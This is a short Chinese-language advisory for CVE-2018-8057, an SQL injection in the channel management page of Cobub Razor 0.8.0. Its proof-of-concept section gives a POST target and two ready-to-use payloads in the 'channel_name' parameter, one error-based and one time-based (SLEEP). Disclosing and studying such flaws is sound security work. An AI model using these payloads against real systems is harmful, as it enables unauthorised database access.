（CVE-2018-8057）Cobub Razor 0.8.0 存在SQL注入漏洞
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一、漏洞简介
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Cobub Razor
0.8.0存在SQL注入漏洞，"/application/controllers/manage/channel.php"页面的"channel\_name"及"platform"参数过滤不严格导致存在SQL注入漏洞。Cobub
Razor是一个在github上开源的系统，漏洞发现者已经将漏洞信息通过[issues](https://github.com/cobub/razor/issues/162)告知作者。

二、漏洞影响
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Cobub Razor 0.8.0

三、复现过程
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### POC

    > http://www.0-sec.org/index.php?/manage/channel/addchannel  

    > POST data:  

    >  1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1  

    >  2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1